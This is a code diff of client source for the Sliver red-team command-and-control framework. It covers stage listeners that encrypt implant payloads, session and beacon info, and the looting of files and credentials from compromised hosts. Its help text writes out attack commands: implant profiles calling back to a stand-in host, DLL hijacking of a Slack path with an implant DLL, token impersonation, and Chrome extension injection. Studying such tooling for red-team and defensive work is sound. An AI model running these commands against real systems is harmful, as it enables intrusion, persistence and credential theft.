[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -681,8 +657,8 @@ supplied with the --profile flag.
# Use a local DLL for a hijack
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
@@ -691,26 +667,6 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
External builders allow the Sliver server offload implant builds onto external machines.
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
`
)
-5
View File
@@ -26,7 +26,6 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -66,12 +65,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -84,12 +81,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
+3 -71
View File
@@ -19,40 +19,20 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
@@ -65,14 +45,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
@@ -86,16 +63,12 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
@@ -147,50 +120,9 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil && beacon == nil {
return
}
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
+2 -3
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for index, domain := range domains {
for _, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domains[index] += "."
domain += "."
}
}
@@ -47,7 +47,6 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
-1
View File
@@ -68,7 +68,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
-75
View File
@@ -19,18 +19,13 @@ package jobs
*/
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -38,10 +33,6 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -65,63 +56,14 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorrect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorrect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = util.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -138,9 +80,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -166,8 +105,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -188,16 +125,4 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+7 -11
View File
@@ -27,7 +27,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
@@ -42,12 +41,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillSession(session, ctx, con)
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
@@ -55,7 +54,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if !confirm {
return
}
err := KillBeacon(beacon, ctx, con)
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -68,31 +67,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
return err
+4 -14
View File
@@ -55,20 +55,10 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
for loot.Credential.User == "" {
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
if loot.Credential.User == "" {
con.Println("Username is required")
}
}
for loot.Credential.Password == "" {
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
if loot.Credential.Password == "" {
con.Println("Password is required")
}
}
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
+1 -9
View File
@@ -176,15 +176,7 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
if loot.Name == filename {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
}
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+4 -10
View File
@@ -159,20 +159,14 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
}
table.Flush()
@@ -407,7 +401,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
// decoding error or control character - not a text file
return false
}
+67 -207
View File
@@ -19,14 +19,9 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"io"
"path/filepath"
"strings"
"path"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,198 +29,8 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
var lootType clientpb.LootType
var err error
if lootTypeInput != "" {
lootType, err = lootTypeFromHumanStr(lootTypeInput)
if err != nil {
/*
If we get an error, that means that this loot type was invalid.
We will leave it up to the caller to handle the error (output it
to the console for example)
*/
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
return lootType, err
}
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s\n", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
lootMessage.CredentialType = clientpb.CredentialType_FILE
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
}
return
}
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/* Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -233,22 +38,77 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
lootType, err := ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
if name == "" {
name = path.Base(remotePath)
}
download, err := PerformDownload(remotePath, fileName, ctx, con)
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootType, lootFileType, ctx, con)
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
-3
View File
@@ -57,13 +57,10 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
if session == nil {
return
}
var options []bool
options = append(options, ctx.Flags.Bool("allow-all"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
Options: options,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+4 -14
View File
@@ -19,10 +19,8 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -31,10 +29,6 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -42,10 +36,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -61,14 +55,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
+1 -1
View File
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
tw.AppendRow(table.Row{
tw.AppendHeader(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
+3 -23
View File
@@ -23,7 +23,6 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
@@ -41,7 +40,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
implantMapper := prelude.InitImplantMapper(config)
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -53,28 +52,9 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
err = sessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
+2 -2
View File
@@ -25,8 +25,8 @@ import (
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
+3 -31
View File
@@ -24,9 +24,7 @@ import (
"io/ioutil"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -44,8 +42,6 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("loot-name")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
